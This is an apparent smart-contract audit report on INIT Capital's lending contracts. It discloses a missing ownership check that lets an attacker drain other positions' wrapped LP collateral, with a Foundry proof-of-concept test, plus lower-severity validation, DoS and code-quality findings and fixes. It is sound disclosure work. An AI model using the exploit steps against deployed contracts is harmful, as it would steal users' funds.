INIT Capital Invitational - sashik_eth's results

Lines of code

https://github.com/code-423n4/2023-12-initcapital/blob/main/contracts/core/PosManager.sol#L249

Vulnerability details

PosManager#removeCollateralWLpTo function allows users to remove collateral wrapped in a wLp token that was previously supplied to the protocol:

File: PosManager.sol
249:     function removeCollateralWLpTo(uint _posId, address _wLp, uint _tokenId, uint _amt, address _receiver)
250:         external
251:         onlyCore
252:         returns (uint)
253:     {
254:         PosCollInfo storage posCollInfo = __posCollInfos[_posId];
255:         // NOTE: balanceOfLp should be 1:1 with amt
256:         uint newWLpAmt = IBaseWrapLp(_wLp).balanceOfLp(_tokenId) - _amt;
257:         if (newWLpAmt == 0) { 
258:             _require(posCollInfo.ids[_wLp].remove(_tokenId), Errors.NOT_CONTAIN);
259:             posCollInfo.collCount -= 1;
260:             if (posCollInfo.ids[_wLp].length() == 0) {
261:                 posCollInfo.wLps.remove(_wLp);
262:             }
263:             isCollateralized[_wLp][_tokenId] = false;
264:         }
265:         _harvest(_posId, _wLp, _tokenId);
266:         IBaseWrapLp(_wLp).unwrap(_tokenId, _amt, _receiver);
267:         return _amt;
268:     }

This function could be called only from the core contract using the decollateralizeWLp and liquidateWLp functions. However, it fails to check if the specified tokenId belongs to the current position, this check would take place only if removing is full - meaning no lp tokens remain wrapped in the wLp (line 257).

This would allow anyone to drain any other positions with supplied wLp tokens. The attacker only needs to create its own position, supply dust amount in wLp to it, and call decollateralizeWLp with the desired 'tokenId', also withdrawn amount should be less than the full wLp balance to prevent check on line 257. An attacker would receive almost all lp tokens and accrued rewards from the victim's wLp. A similar attack for harvesting the victim's rewards could be done through the liquidateWLp function.

Impact

Attacker could drain any wLp token and harvest all accrued rewards for this token.

Proof of Concept

The next test added to the tests/wrapper/TestWLp.sol file could show an exploit scenario:

    function testExploitStealWlp() public {
        uint victimAmt = 100000000;
        // Bob open position with 'tokenId' 1
        uint bobPosId = _openPositionWithLp(BOB, victimAmt);
        // Alice open position with 'tokenId' 2 and dust amount 
        uint alicePosId = _openPositionWithLp(ALICE, 1);
        // Alice successfully de-collateralizes her own position using Bob's 'tokenId' and amounts less than Bob's position by 1 to prevent a revert
        vm.startPrank(ALICE, ALICE);
        initCore.decollateralizeWLp(alicePosId, address(mockWLpUniV2), 1, victimAmt - 1, ALICE);
        vm.stopPrank();

        emit log_uint(positionManager.getCollWLpAmt(bobPosId, address(mockWLpUniV2), 1));
        emit log_uint(IERC20(lp).balanceOf(ALICE));
    }

Recommended Mitigation Steps

Consider adding a check that position holds the specified token into the removeCollateralWLpTo function:

_require(__posCollInfos[_posId].ids[_wlp].contains(_tokenId), Errors.NOT_CONTAIN);

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2023-12-initcapital/blob/main/contracts/core/InitCore.sol#L169

Vulnerability details

Protocol governor address has the power to whitelist and delist wLp addresses using the Config#setWhitelistedWLps function. Only whitelisted wLp tokens are allowed to collateralize and de-collateralize users' positions:

File: InitCore.sol
244:     function collateralizeWLp(uint _posId, address _wLp, uint _tokenId)
245:         public
246:         virtual
247:         onlyAuthorized(_posId)
248:         nonReentrant
249:     {
...
254:         // check if the wLp is whitelisted
255:         _require(_config.whitelistedWLps(_wLp), Errors.TOKEN_NOT_WHITELISTED);
...
263:     /// @inheritdoc IInitCore
264:     function decollateralizeWLp(uint _posId, address _wLp, uint _tokenId, uint _amt, address _to)
265:         public
266:         virtual
267:         onlyAuthorized(_posId)
268:         ensurePositionHealth(_posId)
269:         nonReentrant
270:     {
...
274:         // check wLp is whitelisted
275:         _require(_config.whitelistedWLps(_wLp), Errors.TOKEN_NOT_WHITELISTED);

At the same time, the InitCore#setPosMode function lacks a similar check, effectively allowing users to migrate their delisted wLp tokens as collateral to the new mode.

Impact

Users could change mode for their positions that are collateralized with delisted wLps.

Proof of Concept

Consider the next scenario:

1. Alice creates a position and collateralizes it with whitelisted wLp.
2. Governor delist Alice's wLp. All positions with this wLp tokens are considered isolated.
3. Alice can't decollateralize their position or collateralize new positions with delisted wLp tokens. However, due to a lack of whitelist check in the setPosMode function, Alice changed the mode of their previously created position.

Recommended Mitigation Steps

Consider adding a check that wLps from the current mode are still whitelisted.

Assessed type

Invalid Validation

L1 - Minting of new pool shares could be DOSed

The InitCore#mintTo function checks that total assets are less than the pool's supply cap and reverts in other case. This check could be used in the sandwich attack to prevent users from minting new pool shares:

File: InitCore.sol
100:     function mintTo(address _pool, address _to) public virtual nonReentrant returns (uint shares) {
...
107:         _require(ILendingPool(_pool).totalAssets() <= poolConfig.supplyCap, Errors.SUPPLY_CAP_REACHED); 

L2 - Borrowing could be DOSed

Similar to the previous issue borrowing function could be DOS due to check in the updateModeDebtShares function:

File: RiskManager.sol
70:     function updateModeDebtShares(uint16 _mode, address _pool, int _deltaShares) external onlyCore {
...
75:             _require(currentDebt <= debtCeilingInfo.ceilAmt, Errors.DEBT_CEILING_EXCEEDED);

L3 - Repay function emit the wrong amount of shares

At line 538 amount of shares that would be prepared is chosen between the specified amount and actual position shares. However, event at line 550 always emits a specified amount:

File: InitCore.sol
530:     function _repay(IConfig _config, uint16 _mode, uint _posId, address _pool, uint _shares)
531:         internal
532:         returns (address tokenToRepay, uint amt)
533:     {
...
538:         uint sharesToRepay = _shares < positionDebtShares ? _shares : positionDebtShares;
...
550:         emit Repay(_pool, _posId, msg.sender, _shares, amt); 

L4 - Mantle network does not support 'push0'

The protocol desired chain is a Mantle network, and contracts pragma allows to use of solidity versions ^0.8.19. At the same time due to the Mantle docs, it's not support versions 0.8.20 and older:

https://docs.mantle.xyz/network/for-devs/solidity-support

L5 - Previous treasury could miss part of the fee

The setTreasury function lacks the accrue modifier. This could lead to the situation when the governor change treasuty address and fees that should be accrued to the current treasury address would be minted to the new one after the next accrueInterest call.

File: LendingPool.sol
245:     function setTreasury(address _treasury) external onlyGovernor {
246:         treasury = _treasury;
247:         emit SetTreasury(_treasury);
248:     }

L6 - Wrong error code

liquidate function would revert with error code TOKEN_NOT_WHITELISTED while it should revert INVALID_MODE in case if specified pool is not allowed as a collateral for the specified mode:

File: InitCore.sol
282:     function liquidate(uint _posId, address _poolToRepay, uint _repayShares, address _poolOut, uint _minShares)
283:         public
284:         virtual
285:         nonReentrant
286:         returns (uint shares)
287:     {
...
290:         _require(vars.config.isAllowedForCollateral(vars.mode, _poolOut), Errors.TOKEN_NOT_WHITELISTED); // config and mode are already stored
291: 

L7 - Protocol would not work with tokens that not realise decimals function

Due to ERC20 standard decimals function is optional, this could cause problems for protocol that expect tokens to return correct value for decimals call:

File: LendingPool.sol
93:     // functions
94:     /// @inheritdoc ERC20Upgradeable
95:     function decimals() public view override returns (uint8) {
96:         return IERC20Metadata(underlyingToken).decimals(); 
97:     }

File: Api3OracleReader.sol
74:     function getPrice_e36(address _token) external view returns (uint price_e36) {
...
80:         // get price and token's decimals
81:         uint decimals = uint(IERC20Metadata(_token).decimals()); 

N1 - Unused imported libraries

File: LiqIncentiveCalculator.sol
6: import {LogExpMath} from '../common/library/LogExpMath.sol'; 

File: Config.sol
4: import '../common/library/InitErrors.sol';

File: InitCore.sol
5: import '../common/library/InitErrors.sol';

File: InitCore.sol
11: import {ModeConfig, PoolConfig, TokenFactors, ModeStatus, IConfig} from '../interfaces/core/IConfig.sol';

File: InitCore.sol
25: import {IERC721} from '@openzeppelin-contracts/token/ERC721/IERC721.sol';

File: PosManager.sol
4: import '../common/library/InitErrors.sol';

File: BaseRebaseHelper.sol
4: import '../../common/library/InitErrors.sol';

File: MoneyMarketHook.sol
4: import '../common/library/InitErrors.sol';

File: LendingPool.sol
4: import '../common/library/InitErrors.sol';

File: Api3OracleReader.sol
8: import '../common/library/InitErrors.sol';

File: InitOracle.sol
4: import '../common/library/InitErrors.sol';

File: RiskManager.sol
6: import '../common/library/InitErrors.sol';

N2 - Missing NatSpec for _maxCollCount parameter

File: PosManager.sol
63:     // initializer
64:     /// @dev initialize the contract, set the ERC721's name and symbol, and set the init core address
65:     /// @param _name ERC721's name
66:     /// @param _symbol ERC721's symbol
67:     /// @param _core core address
68:     function initialize(string calldata _name, string calldata _symbol, address _core, uint8 _maxCollCount) 

N3 - syncCash modifiers order inconsistency

The syncCash function has a different order of modifiers compared to other functions in the contract:

File: LendingPool.sol
136:     function repay(uint _shares) external onlyCore accrue returns (uint amt) {
...
148:     function syncCash() external accrue onlyCore returns (uint newCash) {